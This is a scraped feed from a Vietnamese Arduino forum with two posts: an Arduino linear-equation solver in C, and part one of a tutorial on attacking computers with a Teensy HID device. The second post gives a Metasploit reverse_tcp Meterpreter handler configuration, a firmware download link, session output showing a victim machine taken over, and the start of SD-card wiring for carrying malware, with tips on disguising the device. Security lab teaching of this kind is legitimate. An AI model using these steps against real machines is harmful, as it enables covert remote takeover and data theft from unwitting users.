Advertise with Googlier.comCộng đồng Arduino Việt Nam - máy tính
http://arduino.vn/tags/may-tinh
viGiải hệ phương trình - Biến arduino thành máy tính
http://arduino.vn/bai-viet/7481-giai-he-phuong-trinh-bien-arduino-thanh-may-tinh
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p><span style="font-family:tahoma,geneva,sans-serif"><span style="font-size:12px"><span style="font-size:16px">Bạn có bao giờ nghĩ thuật toán để tìm nghiệm của hệ phương trình là gì trong các máy tính cầm tay <img alt="smiley" src="//cdn.arduino.vn/sites/all/libraries/ckeditor/plugins/smiley/images/regular_smile.png" style="height:23px; width:23px" title="smiley" /><img alt="smiley" src="//cdn.arduino.vn/sites/all/libraries/ckeditor/plugins/smiley/images/regular_smile.png" style="height:23px; width:23px" title="smiley" /><img alt="smiley" src="//cdn.arduino.vn/sites/all/libraries/ckeditor/plugins/smiley/images/regular_smile.png" style="height:23px; width:23px" title="smiley" /> ? Bài viết này sẽ trình bày cho các bạn một phương pháp tổng quát và cụ thể nhất đó là tính định thức ma trận vuông cấp n. Với phương pháp này các bạn có thể giải hệ phương trình n ẩn tùy ý miễn là arduino của các bạn đủ dung lượng SRAM và bộ nhớ flash. Không dài dòng nữa vào vấn đề chính thôi nào.</span></span></span></p>
<p><strong><span style="color:#FF8C00"><span style="font-family:tahoma,geneva,sans-serif"><span style="font-size:36px">Yêu cầu</span></span></span></strong></p>
<p><span style="font-size:16px">Có kiến thức và đam mê về lập trình arduino và Toán Học. Vì bài viết này sẽ không cần đấu nối điện tử gì cả, nhưng kiến thức về ma trận có thể làm "rớt não" và là ác mộng của sinh viên đại học <img alt="wink" src="//cdn.arduino.vn/sites/all/libraries/ckeditor/plugins/smiley/images/wink_smile.png" style="height:23px; width:23px" title="wink" />. Và một ít kiến thức về dùng máy tính giao tiếp với arduino thông qua serial bằng cách làm thủ công và không dùng thư viện Serial Command. Mình vẫn còn là học sinh THPT nên nếu có kiến thức nào về ma trận không thỏa đáng thì xin các cao nhân thứ cho và chỉ giáo ạ <img alt="smiley" src="//cdn.arduino.vn/sites/all/libraries/ckeditor/plugins/smiley/images/regular_smile.png" style="height:23px; width:23px" title="smiley" /><img alt="smiley" src="//cdn.arduino.vn/sites/all/libraries/ckeditor/plugins/smiley/images/regular_smile.png" style="height:23px; width:23px" title="smiley" /><img alt="smiley" src="//cdn.arduino.vn/sites/all/libraries/ckeditor/plugins/smiley/images/regular_smile.png" style="height:23px; width:23px" title="smiley" />.</span></p>
<p><span style="color:#FF8C00"><span style="font-size:36px"><strong>Ý tưởng</strong></span></span></p>
<p><span style="font-size:16px"><span style="font-family:tahoma,geneva,sans-serif"><span style="color:rgb(0, 0, 0)">Chúng ta sẽ đi từ dễ đến khó trước</span></span></span><span style="color:rgb(0, 0, 0); font-size:16px">. Giả sử ta có một hệ phương trình hai ẩn như sau:</span></p>
<p class="rtecenter"><img alt="" src="http://k3.arduino.vn/img/2020/08/02/0/4434_812101997-1596361827-0-capture.png" style="height:101px; width:250px" /></p>
<p><span style="font-size:16px">Để tìm nghiệm tổng quát ta cần tìm 3 định thức ma trận 2x2 sau:</span></p>
<p class="rtecenter"><img alt="" src="http://k1.arduino.vn/img/2020/08/02/0/4491_123101997-1596361828-0-capture1.png" style="height:305px; width:414px" /></p>
<p><span style="font-family:tahoma,geneva,sans-serif"><span style="font-size:16px">Từ đó ta có công thức nghiệm tổng quát của hệ là (nếu det D=det D<sub>x</sub>= det D<sub>y</sub>=0 thì hệ có vô số nghiệm còn nếu det D=0 và det D<sub>x</sub>, det D<sub>y</sub> khác 0 thì hệ vô nghiệm):</span></span></p>
<p class="rtecenter"><span style="font-family:tahoma,geneva,sans-serif"><span style="font-size:16px"><img alt="" src="http://k2.arduino.vn/img/2020/08/02/0/4462_882101997-1596362198-0-capture.png" style="height:195px; width:338px" /></span></span></p>
<p><span style="font-family:tahoma,geneva,sans-serif"><span style="font-size:16px">Tương tự như vậy giả sử ta có một hệ phương trình 3 ẩn:</span></span></p>
<p class="rtecenter"><span style="font-family:tahoma,geneva,sans-serif"><span style="font-size:16px"><img alt="" src="http://k3.arduino.vn/img/2020/08/02/0/4435_812101997-1596362638-0-capture.png" style="height:144px; width:304px" /></span></span></p>
<p><span style="font-family:tahoma,geneva,sans-serif"><span style="font-size:16px">Ta cần tính 4 định thức ma trận vuông 3x3 như sau:</span></span></p>
<p class="rtecenter"><span style="font-family:tahoma,geneva,sans-serif"><span style="font-size:16px"><img alt="" src="http://k1.arduino.vn/img/2020/08/02/0/4492_123101997-1596362639-0-capture1.png" style="height:308px; width:560px" /></span></span></p>
<p><span style="font-size:16px">Ta sẽ tính định thức ma trận 3x3 bằng cách khai triển theo hàng. Xét ma trận 3x3 tổng quát thế thì định thức của nó là:</span></p>
<p class="rtecenter"><span style="font-size:16px"><img alt="" src="http://k2.arduino.vn/img/2020/08/02/0/4463_882101997-1596363016-0-capture.png" style="height:147px; width:949px" /></span></p>
<p><span style="font-size:16px"><span style="font-family:tahoma,geneva,sans-serif">Và một lần nữa ta thu được nghiệm tổng quát của phương trình là:</span></span></p>
<p class="rtecenter"><span style="font-size:16px"><span style="font-family:tahoma,geneva,sans-serif"><img alt="" src="http://k3.arduino.vn/img/2020/08/02/0/4436_812101997-1596363372-0-capture.png" style="height:96px; width:356px" /></span></span></p>
<p><span style="font-family:tahoma,geneva,sans-serif"><span style="font-size:16px">Từ đó, với ý tưởng tạo ra một hàm tính định thức ma trận 2x2 thì ta có thể lồng ghép các hàm lại với nhau để tính ma trận n</span><span style="font-size:13.3333px">x</span><span style="font-size:16px">n. Ví dụ để tính ma trận 4x4 ta cần hàm tính ma trận 3x3, và để tính ma trận 3x3 ta cần hàm tính ma trận 2x2, thật đơn giản phải không nào <img alt="wink" src="//cdn.arduino.vn/sites/all/libraries/ckeditor/plugins/smiley/images/wink_smile.png" style="height:23px; width:23px" title="wink" /><img alt="wink" src="//cdn.arduino.vn/sites/all/libraries/ckeditor/plugins/smiley/images/wink_smile.png" style="height:23px; width:23px" title="wink" />.</span></span></p>
<p><span style="font-family:tahoma,geneva,sans-serif"><span style="font-size:16px"><span style="font-size:36px"><strong><span style="color:#FF8C00">Lập trình</span></strong></span></span></span></p>
<p><span style="font-family:tahoma,geneva,sans-serif; font-size:16px">Các bạn nạp đoạn code sau vào arduino, bật Serial Monitor và nhập giá trị các biến.</span></p>
<pre class="prettyprint linenums lang-c_pp" data-pbcklang="c_pp" data-pbcktabsize="4">
String input;
char bien[]={'a','b','c','d','e','f','g','h','i','k','l','m'};
float variable[13]={};
float x;
float y;
float z;
void setup() {
Serial.begin(9600);
Serial.println("System of equations Caculator");
}
void loop(){
Serial.println("Type variable's quantities");
while(Serial.available()==0){}
if(Serial.available()>0){
input =Serial.readStringUntil('\n');
if(input == "2"){Serial.println("2 variables equation"); nhapheso2an();}
if(input == "3"){Serial.println("3 variables equation"); nhapheso3an();}
}
}
void nhapheso2an(){
Serial.println("ax+by=c");
Serial.println("dx+ey=f");
byte count=1;
byte i;
byte m;
while(count<7){
for (i=1; i<7; i++){if(count==i){m=i; Serial.print("Type value of "); Serial.println(bien[i-1]);}}
while(Serial.available()==0){}
if(Serial.available()>0){
input =Serial.readStringUntil('\n');
variable[m-1]=input.toFloat();
count++;
}}
giaihe2an();
delay(500);
}
void nhapheso3an(){
Serial.println("ax+by+cz=d");
Serial.println("ex+fy+gz=h");
Serial.println("ix+ky+lz=m");
byte count=1;
byte i;
byte m;
while(count<13){
for (i=1; i<13; i++){if(count==i){m=i; Serial.print("Type value of "); Serial.println(bien[i-1]);}}
while(Serial.available()==0){}
if(Serial.available()>0){
input =Serial.readStringUntil('\n');
variable[m-1]=input.toFloat();
count++;
}}
giaihe3an();
delay(500);
}
void giaihe2an(){
float det;
float detx;
float dety;
det= matrix2(variable[0],variable[1],variable[3],variable[4]);
detx= matrix2(variable[2],variable[1],variable[5],variable[4]);
dety= matrix2(variable[0],variable[2],variable[3],variable[5]);
if((det==0)&&(detx==0)&&(dety==0)){Serial.println("Infinite Solution");}else{if(det==0){Serial.println("No Solution");}
else{
Serial.print("x = ");
Serial.print(detx);
Serial.print("/");
Serial.print(det);
Serial.print(" = ");
Serial.println(detx/det, 15);
Serial.print("y = ");
Serial.print(dety);
Serial.print("/");
Serial.print(det);
Serial.print(" = ");
Serial.println(dety/det, 15);
}}
}
void giaihe3an(){
float det;
float detx;
float dety;
float detz;
det= matrix3(variable[0],variable[1],variable[2],variable[4],variable[5],variable[6],variable[8],variable[9],variable[10]);
detx= matrix3(variable[3],variable[1],variable[2],variable[7],variable[5],variable[6],variable[11],variable[9],variable[10]);
dety= matrix3(variable[0],variable[3],variable[2],variable[4],variable[7],variable[6],variable[8],variable[11],variable[10]);
detz= matrix3(variable[0],variable[1],variable[3],variable[4],variable[5],variable[7],variable[8],variable[9],variable[11]);
if((det==0)&&(detx==0)&&(dety==0)&&(detz==0)){Serial.println("Infinite Solution");}else{if(det==0){Serial.println("No Solution");}
else{
Serial.print("x = ");
Serial.print(detx);
Serial.print("/");
Serial.print(det);
Serial.print(" = ");
Serial.println(detx/det, 15);
Serial.print("y = ");
Serial.print(dety);
Serial.print("/");
Serial.print(det);
Serial.print(" = ");
Serial.println(dety/det, 15);
Serial.print("z = ");
Serial.print(detz);
Serial.print("/");
Serial.print(det);
Serial.print(" = ");
Serial.println(detz/det, 15);
}}
}
float matrix2(float a, float b, float c, float e){
float det = a*e-b*c;
return det;
}
float matrix3(float a,float b,float c,float e,float f,float g,float h,float i,float k){
float det = a*matrix2(f,g,i,k)-b*matrix2(e,g,h,k)+c*matrix2(e,f,h,i);
return det;
}
</pre><p> </p>
<p><span style="font-family:tahoma,geneva,sans-serif"><span style="font-size:16px">Thế là bạn đã có một máy tính giải hệ phương trình có độ chính xác không kém các máy tính cầm tay thông thường rồi. Sau đây là video kết quả</span></span></p>
<p> </p>
</div></div></div><div class="field field-name-field-tags field-type-taxonomy-term-reference field-label-above"><div class="field-label">Từ khóa: </div><div class="field-items"><div class="field-item even" rel="dc:subject"><a href="/tags/he-phuong-trinh" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Hệ phương trình</a></div><div class="field-item odd" rel="dc:subject"><a href="/tags/may-tinh" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">máy tính</a></div></div></div><div class="field field-name-field-chuyen-muc field-type-taxonomy-term-reference field-label-above"><div class="field-label">Chuyên mục: </div><div class="field-items"><div class="field-item even"><a href="/chuong-trinh-mau/level-advanced-nang-cao" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Level: Advanced - Nâng cao</a></div><div class="field-item odd"><a href="/lap-trinh-c" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Lập trình C</a></div><div class="field-item even"><a href="/nao-cung-lam" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Nào cùng làm!</a></div></div></div><div class="field field-name-field-youtube field-type-video-embed-field field-label-inline clearfix"><div class="field-label">Youtube: </div><div class="field-items"><div class="field-item even">
<div class="embedded-video">
<div class="player">
<iframe class="" width="640" height="360" src="//www.youtube.com/embed/JlC3B3PcakY?width%3D640%26amp%3Bheight%3D360%26amp%3Bautoplay%3D0%26amp%3Bvq%3Dlarge%26amp%3Brel%3D0%26amp%3Bcontrols%3D1%26amp%3Bautohide%3D2%26amp%3Bshowinfo%3D1%26amp%3Bmodestbranding%3D0%26amp%3Btheme%3Ddark%26amp%3Biv_load_policy%3D1%26amp%3Bwmode%3Dopaque" frameborder="0" allowfullscreen></iframe> </div>
</div>
</div></div></div>Sun, 02 Aug 2020 11:07:00 +0000Đặng Cao Minh7481 at http://arduino.vnTấn công máy tính sử dụng Teensy HID - P1
http://arduino.vn/bai-viet/970-tan-cong-may-tinh-su-dung-teensy-hid-p1
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><h2 class="rtejustify"><span style="color:#FF8C00"><strong>Giới thiệu</strong></span></h2>
<p class="rtejustify">Kỹ thuật tấn công máy tính sử dụng thiết bị HID đã xuất hiện trong nhiều năm trở lại đây, thiết bị HID là một phân lớp của tiêu chuẩn USB - thường được ứng dụng trong khá nhiều các thiết bị ngoại vi với hình dạng, kích thước và chức năng khác nhau<a href="http://arduino.vn/bai-viet/970-tan-cong-may-tinh-su-dung-teensy-hid-p1">.</a> Trong bài viết này, tôi sẽ tiến hành thử nghiệm các lab sử dụng thiết bị Teensy HID phiên bản phần cứng 3.2 để khai thác, chiếm quyền máy tính và một số hình thức tấn công đa dạng khác<a href="http://arduino.vn/bai-viet/970-tan-cong-may-tinh-su-dung-teensy-hid-p1">.</a></p>
<blockquote><p><strong>HID</strong> (Human Interface Device): là một phân lớp (class) trong tiêu chuẩn USB. Một thiết bị HID có thể được lập trình để định nghĩa lại chức năng của nó. Thiết bị HID có thể là một bàn phím USB, chuột USB, thiết bị chơi game cầm tay, thiết bị lưu trữ dữ liệu, ...</p>
</blockquote>
<h2><strong><span style="color:#FF8C00">Các cuộc tấn công Social Engineering</span></strong></h2>
<p>Quá trình tìm kiếm và ứng dụng những điểm yếu bảo mật vào khai thác, đánh cắp dữ liệu là không ngừng. Sự phát triển của một giải pháp, xu hướng công nghệ luôn gắn liền những nguy cơ mà tin tặc có thể sử dụng để chống lại những người dùng bất cẩn. Quá trình phát triển các phần cứng độc hại cũng không ngoại lệ, và ngày càng mang tính chất tinh vi hơn, khả năng tấn công từ các thiết bị phần cứng ngày càng mở rộng.</p>
<p>Thực tế đã chứng minh các điều trên là đúng, tôi sẽ thực hiện tổng hợp một số tình huống tấn công cổ điển đến các phương thức mới nhất mà nạn nhân chính là người dùng cuối hoặc hệ thống CNTT có chính sách bảo mật kém.</p>
<h3><span style="color:#008080"><strong>Thiết bị lưu trữ USB chứa mã độc</strong></span></h3>
<p>Thiết bị lưu trữ USB đã trở thành một tiêu chuẩn sử dụng rộng rãi trong thời đại kỹ thuật số. Các nhà sản xuất thiết bị lưu trữ USB phải tuân thủ các chỉ dẫn trong "phân lớp thiết bị lưu trữ" (USB mass-storage device class) để thông báo đến hệ điều hành về thông tin phần cứng, giúp nhanh chóng xác định và kết nối với nhau thông qua driver. Có nhiều tiêu chuẩn được sử dụng rộng rãi trong phân lớp này bao gồm: USB lưu trữ, thẻ nhớ, thiết bị đọc thẻ, máy ảnh kỹ thuật số, máy chơi nhạc MP3/MP4, khung ảnh kỹ thuật số, điện thoại thông minh. Phương pháp tấn công chủ yếu trên những thiết bị này là có thể chứa những mã độc nhằm lợi dụng sự bất cẩn của người dùng để kích hoạt, đây được xem là dạng tấn công phổ biến và dễ dàng thực hiện tại thời điểm USB mới phổ biến.</p>
<p>Từ phiên bản hệ điều hành Windows 95, tính năng Autorun (sử dụng autorun.inf) là một trong những điểm đáng chú ý để các tin tặc dễ dàng triển khai mã độc mà không cần phải kích hoạt thủ công. Những phiên bản hệ điều hành về sau, Microsoft luôn cải tiến các tính năng nhằm bảo đảm người dùng được an toàn trước các thiết bị ngoại vi:</p>
<ul><li>Windows XP chặn thực thi autorun.info từ USB, nhưng vẫn cho phép CD/DVD kích hoạt tính năng autorun.inf. Đây là thời điểm ra đời của thiết bị <strong>USB U3</strong>, cơ bản đây là một thiết bị USB thông thường được tích hợp chức năng tạo phân vùng mở rộng với định dạng thiết bị là CD/DVD nhằm vượt qua cơ chế kiểm soát của hệ điều hành.</li>
<li>Vista chặn autorun.inf trên mọi thiết bị ngoại vi và sự ra đời của cơ chế bảo vệ <a href="https://en.wikipedia.org/wiki/User_Account_Control" style="color: rgb(30, 166, 224); transition: color 0.3s ease; text-decoration: none; background-color: transparent;">UAC (User Account Control)</a>. Cơ chế bảo vệ UAC vẫn được sử dụng cho những phiên bản Windows 7, Windows 8 và Windows 10 nhằm tăng khả năng kiểm soát việc thực thi mã độc tự động.</li>
<li>Hình thức tấn công sử dụng HID ngày nay đã có thể vượt qua hầu hết các cơ chế kiểm soát an ninh mặc định của hệ điều hành.</li>
</ul><h3><span style="color:#008080"><strong>Thiết bị lưu trữ USB U3</strong></span></h3>
<blockquote><p><strong>USB U3</strong>, cơ bản đây là một thiết bị USB thông thường được tích hợp chức năng tạo phân vùng mở rộng với định dạng thiết bị là CD/DVD</p>
</blockquote>
<p>Sư ra đời của thiết bị <strong>USB U3</strong> là một nhánh phát triển của kỹ thuật vượt cơ chế kiểm soát USB của hệ điều hành Windows XP. USB U3 lợi dụng chính sách Autorun chỉ được cho phép trên CD/DVD, các tin tặc đã áp dụng tính năng nhằm lưu trữ và thực thi mã độc tự động trên XP.</p>
<h3><span style="color:#008080"><strong>Thiết bị HID - kỹ thuật tấn công đa hình</strong></span></h3>
<p>Nhằm vượt qua các cơ chế kiểm soát của hệ điều hành ngày nay, phương án tấn công sử dụng thiết bị HID là một lựa chọn hoàn hảo. Bằng cách lập trình lại vi điều khiển của thiết bị HID, tin tặc có thể giả lập các hành vi của bàn phím, chuột để gởi các thông tin dữ liệu mong muốn đến máy tính/ thiết bị kết nối nhằm thực thi mã độc chiếm quyền điều khiển.</p>
<p>Do đặc tính linh động và có thể định nghĩa lại vi xử lý, HID có thể ẩn mình dưới nhiều hình dạng và chức năng khác nhau như: bộ sạc nguồn, bàn phím, quạt USB, đèn USB, đầu đọc thẻ nhớ, đồng hồ,...</p>
<p>Trên thị trường hiện nay có khá nhiều vi xử lý, mạch tích hợp, thiết bị hỗ trợ HID và người dùng có thể nhanh chóng thay đổi cấu trúc firmware của nó thông qua ngôn ngữ lập trình. Một số tiêu biểu như Arduino, Raspberry Pi, Teensy, USB Rubber Ducky Deluxe,...</p>
<p class="rtecenter"><a href="http://k1.arduino.vn/img/2016/07/11/0/2662_123450-1468201823-0-123123.jpg"><img alt="" src="http://k1.arduino.vn/img/2016/07/11/0/2662_123450-1468201823-0-123123.jpg" style="height:494px; width:700px" /></a></p>
<p class="rtecenter">Hình 1: Các thiết bị hỗ trợ HID</p>
<h2><span style="color:#FF8C00"><strong>Thiết bị Teensy HID</strong></span></h2>
<p><a href="https://www.pjrc.com/teensy/" style="color: rgb(30, 166, 224); transition: color 0.3s ease; text-decoration: none; background-color: transparent;">Teensy</a> là một mạch tích hợp sử dụng vi xử lý trên nền tảng USB, thiết kế với kích thước nhỏ và có thể phát triển mở rộng thành nhiều tính năng khác nhau. Tất cả quá trình biên dịch, nạp chip và thực thi mã đều thông qua kết nối USB. Giá của mạch Teensy 3.2 là khoảng 20 USD và bạn có thể mua trực tuyến tại PJRC Store.</p>
<p class="rtecenter"><a href="http://k2.arduino.vn/img/2016/07/11/0/2636_882450-1468201936-0-teensy-3-2.jpg"><img alt="" src="http://k2.arduino.vn/img/2016/07/11/0/2636_882450-1468201936-0-teensy-3-2.jpg" style="height:600px; width:450px" /></a></p>
<p class="rtecenter">Hình 2: Thiết bị Teensy 3.2</p>
<h2><strong><span style="color:#FF8C00">Arduino IDE, Teensyduino</span></strong></h2>
<p>Để tiến hành nạp các mã nguồn vào thiết bị, bạn cần phải cài đặt Arduino IDE và thư viện Teensyduino;</p>
<ul><li>Tải Arduino IDE: <a href="https://www.arduino.cc/en/Main/Software" style="color: rgb(30, 166, 224); transition: color 0.3s ease; text-decoration: none; background-color: transparent;">https://www.arduino.cc/en/Main/Software</a></li>
<li>Tải Teensyduino: <a href="https://www.pjrc.com/teensy/td_download.html" style="color: rgb(30, 166, 224); transition: color 0.3s ease; text-decoration: none; background-color: transparent;">https://www.pjrc.com/teensy/td_download.html</a></li>
</ul><p class="rtecenter"><a href="http://k3.arduino.vn/img/2016/07/11/0/2636_812450-1468202022-0-arduinoide-teensyduino.jpg"><img alt="Arduino IDE và Teensyduino" src="http://k3.arduino.vn/img/2016/07/11/0/2636_812450-1468202022-0-arduinoide-teensyduino.jpg" /></a></p>
<p class="rtecenter">Hình 3: Giao diện Arduino IDE và Teensyduino</p>
<p>Sau khi tiến hành cái đặt thành công, bạn có thể tiến hành lập trình và nạp chương trình vào thiết bị qua giao diện Arduino IDE. Cần chú ý chọn đúng phiên bản phần cứng mà bạn sử dụng để nạp chương trình.</p>
<p class="rtecenter"><a href="http://k1.arduino.vn/img/2016/07/11/0/2663_123450-1468202121-0-arduino-ide-setup.png"><img alt="Thiết lập Arduino IDE - Teensy 3.2" src="http://k1.arduino.vn/img/2016/07/11/0/2663_123450-1468202121-0-arduino-ide-setup.png" style="height:344px; width:736px" /></a></p>
<p class="rtecenter">Hình 4: Thiết lập môi trường lập trình Teensy 3.2</p>
<h2><strong><span style="color:#FF8C00">Teensy USB – Tấn công đa nền tảng</span></strong></h2>
<p>Teensy có thể đóng vai trò là một thiết bị mã độc (lưu trữ các mã dropper trong chính thiết bị Teensy), hoặc có thể kết hợp với thẻ nhớ SD để mở rộng vùng lưu trữ dữ liệu (lưu trữ các CVE exploit, 0-day, malware,...). Khi dropper được tạo trên máy nạn nhân, nó sẽ tiến hành nhận các mã khai thác, backdoor,... từ máy chủ tin tặc.</p>
<p class="rtecenter"><a href="http://k2.arduino.vn/img/2016/07/11/0/2637_882450-1468202195-0-teensy-hid-attack-vector.jpg"><img alt="Teensy HID attack vector" src="http://k2.arduino.vn/img/2016/07/11/0/2637_882450-1468202195-0-teensy-hid-attack-vector.jpg" style="height:357px; width:700px" /></a></p>
<h3><span style="color:#008080"><strong>Tấn công 1: Teensy USB + Metasploit</strong></span></h3>
<p>Đây là kỹ thuật tấn công đơn giản nhất để kiếm soát máy nạn nhân dưới 30 giây.</p>
<h4><strong>Bước 1: Kích hoạt Metasploit tại máy chủ tin tặc</strong></h4>
<p>Tạo tập tin payload_handler.rc với nội dung như sau:</p>
<pre class="prettyprint linenums lang-" style="overflow: auto; font-family: Inconsolata, monospace, sans-serif; font-size: 0.9em; box-sizing: border-box; margin-top: 0px; margin-bottom: 1.75em; border: 1px solid rgb(227, 237, 243); width: 710px; padding: 10px; white-space: pre; border-radius: 3px; color: rgb(58, 65, 69); letter-spacing: 0.1px; line-height: 23.8px; background: rgb(247, 250, 251);">
root@kali:~# cat payload_handler.rc
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
set EnableStageEncoding true
exploit -j
</pre><p>Khởi tạo máy chủ tin tặc sử dụng lệnh msfconsole:</p>
<pre style="overflow: auto; font-family: Inconsolata, monospace, sans-serif; font-size: 0.9em; box-sizing: border-box; margin-top: 0px; margin-bottom: 1.75em; border: 1px solid rgb(227, 237, 243); width: 710px; padding: 10px; white-space: pre; border-radius: 3px; color: rgb(58, 65, 69); letter-spacing: 0.1px; line-height: 23.8px; background: rgb(247, 250, 251);">
root@kali:~# msfconsole -r payload_handler.rc
....
[*] Processing payload_handler.rc for ERB directives.
resource (payload_handler.rc)> use multi/handler
resource (payload_handler.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (payload_handler.rc)> set LHOST 0.0.0.0
LHOST => 0.0.0.0
resource (payload_handler.rc)> set LPORT 4444
LPORT => 4444
resource (payload_handler.rc)> set ExitOnSession false
ExitOnSession => false
resource (payload_handler.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (payload_handler.rc)> exploit -j
[*] Exploit running as background job.
</pre><h4><strong>Bước 2: Nạp chương trình Teensy</strong></h4>
<p>Có nhiều platform cung cấp mã chương trình phục vụ tạo kết nối từ máy nạn nhân đến máy chủ tin tặc như: Social Engineering Toolkit, hid-backdoor-peensy,... Trong ví dụ này, tôi sẽ sử dụng mã khai thác Teensyterpreter với các tính năng cơ bản nhất để có thể nhanh chóng hiểu rõ tính năng của Teensy.</p>
<p>Tải mã nguồn Teensyterpreter tại:https://raw.githubusercontent.com/KernelEquinox/Teensyterpreter/master/Teensyterpreter.ino</p>
<p>Thực hiện mở tập tin Teensyterpreter.ino trong Arduino IDE và cần điều chỉnh cấu hình kết nối đến IP, Port máy chủ Metasploit.</p>
<p class="rtecenter"><a href="http://k3.arduino.vn/img/2016/07/11/0/2637_812450-1468202317-0-teensyterpreter.jpg"><img alt="Thiết lập Teensyterpreter" src="http://k3.arduino.vn/img/2016/07/11/0/2637_812450-1468202317-0-teensyterpreter.jpg" style="height:467px; width:700px" /></a></p>
<p class="rtecenter">Hình 5: Thiết lập địa chỉ IP, cổng kết nối đến máy chủ tin tặc</p>
<p>Trước khi thực hiện biên dịch và nạp chip, cần chú ý thiết lập thiết bị Teensy là "<em>Keyboard + Mouse + Joystick</em>".</p>
<p class="rtecenter"><a href="http://k1.arduino.vn/img/2016/07/11/0/2664_123450-1468202375-0-teensy-device-setup.jpg"><img alt="Teensy Device Setup" src="http://k1.arduino.vn/img/2016/07/11/0/2664_123450-1468202375-0-teensy-device-setup.jpg" /></a></p>
<p class="rtecenter">Hình 6: Thiết lập loại thiết bị USB</p>
<p>Thực hiện biên dịch và nạp chip thông qua nút Verify và Upload.</p>
<p class="rtecenter"><a href="http://k2.arduino.vn/img/2016/07/11/0/2638_882450-1468202420-0-compile-teensyterpreter.jpg"><img alt="Biên dịch Teensyterpreter" src="http://k2.arduino.vn/img/2016/07/11/0/2638_882450-1468202420-0-compile-teensyterpreter.jpg" style="height:414px; width:617px" /></a></p>
<p class="rtecenter">Hình 7: Biên dịch Teensyterpreter</p>
<p>Sau khi nạp chương trình bạn có thể thực hiện kiểm tra kết nối tại Metasploit.</p>
<pre style="overflow: auto; font-family: Inconsolata, monospace, sans-serif; font-size: 0.9em; box-sizing: border-box; margin-top: 0px; margin-bottom: 1.75em; border: 1px solid rgb(227, 237, 243); width: 710px; padding: 10px; white-space: pre; border-radius: 3px; color: rgb(58, 65, 69); letter-spacing: 0.1px; line-height: 23.8px; background: rgb(247, 250, 251);">
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Starting the payload handler...
msf exploit(handler) > [*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (958029 bytes) to 14.187.167.126
[*] Meterpreter session 1 opened (192.168.207.141:4444 -> 14.187.167.126:11167) at 2016-07-10 01:34:04 -0400
msf exploit(handler) > sessions -i
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 VICTIM\victim @ VICTIM 192.168.207.141:4444 -> 14.187.167.126:11167 (192.168.1.64)
msf exploit(handler) >
</pre><p class="rtecenter"><a href="http://k3.arduino.vn/img/2016/07/11/0/2638_812450-1468202462-0-kali-linux-2016.1-vm-amd64-2016-07-10-12-39-10.png"><img alt="Teensy Reverse TCP Metasploit" src="http://k3.arduino.vn/img/2016/07/11/0/2638_812450-1468202462-0-kali-linux-2016.1-vm-amd64-2016-07-10-12-39-10.png" style="height:342px; width:750px" /></a></p>
<p class="rtecenter">Hình 8: Kết nối từ máy nạn nhận đến Metasploit</p>
<h3><span style="color:#008080"><strong>Tấn công 2: Teensy USB + Micro SD card</strong></span></h3>
<p>Nhằm khắc phục những hạn chế khi tấn công máy tính trong môi trường không có kết nối internet, hoặc cần sao chép dữ liệu trên một máy tính nạn nhân, tôi thực hiện lưu trữ mã độc vào thẻ nhớ MicroSD và nạp lại chương trình cho Teensy.</p>
<p>Đế có thể kết nối thêm thiết bị MicroSD vào Teensy, tôi cần thêm một module tích hợp "SD Adatpor". Đây là module tương thích với Teensy USB và có kích thước nhỏ, phù hợp cho việc ngụy trang thiết bị.</p>
<p class="rtecenter"><a href="http://k1.arduino.vn/img/2016/07/11/0/2665_123450-1468202557-0-sd-card-adaptor-1.jpg"><img alt="Teensy Micro SD Adator" src="http://k1.arduino.vn/img/2016/07/11/0/2665_123450-1468202557-0-sd-card-adaptor-1.jpg" style="height:297px; width:600px" /></a></p>
<p class="rtecenter">Hình 9: Mạch tích hợp SD Adaptor</p>
<p>Tuy nhiên, bạn cũng có thể mua một số loại adaptor khác từ thị trường, bạn cần đọc kỹ các chỉ dẫn để có thể kết nối phần cứng và nạp chương trình cho các chân phù hợp.</p>
<p class="rtecenter"><a href="http://k2.arduino.vn/img/2016/07/11/0/2639_882450-1468202625-0-sd-card-adaptor-2.jpg"><img alt="SPI Micro SD / TF Card Adapter Module for Arduino - Blue" src="http://k2.arduino.vn/img/2016/07/11/0/2639_882450-1468202625-0-sd-card-adaptor-2.jpg" style="height:205px; width:600px" /></a></p>
<p class="rtecenter">Hình 10: Mạch tích hợp SD Adaptor dành cho Arduino</p>
<p class="rtecenter"><a href="http://k3.arduino.vn/img/2016/07/11/0/2639_812450-1468202701-0-teensy-sd-card-adaptor.jpg"><img alt="Teensy and Card Adapter Module" src="http://k3.arduino.vn/img/2016/07/11/0/2639_812450-1468202701-0-teensy-sd-card-adaptor.jpg" style="height:409px; width:700px" /></a></p>
<p class="rtecenter">Hình 11: Kết nối Teensy USB và SD adaptor</p>
<h4><strong>Kết nối phần cứng</strong></h4>
<p>Để thực hiện kết nối các thiết bị phần cứng, tôi sử dụng một số dây nối loại đầu cái-cái 10cm, và hàn các chân đực vào mạch Teensy. Sơ đồ kết nối như sau:</p>
<table border="1" cellpadding="1" style="margin:auto; width:400px; border-spacing: 1px;"><tbody><tr><td class="rtecenter"><strong>SD Adaptor</strong></td>
<td class="rtecenter"><strong>Teensy</strong></td>
</tr><tr><td class="rtecenter">5V (VCC)</td>
<td class="rtecenter">3.3V (100mA max)</td>
</tr><tr><td class="rtecenter">Groud (GND)</td>
<td class="rtecenter">GND</td>
</tr><tr><td class="rtecenter">MOSI</td>
<td class="rtecenter">11, DOUT</td>
</tr><tr><td class="rtecenter">MISO</td>
<td class="rtecenter">12,DIN</td>
</tr><tr><td class="rtecenter">SCLK (SCK)</td>
<td class="rtecenter">13, SCK</td>
</tr><tr><td class="rtecenter">SS (CS)</td>
<td class="rtecenter">10, CS</td>
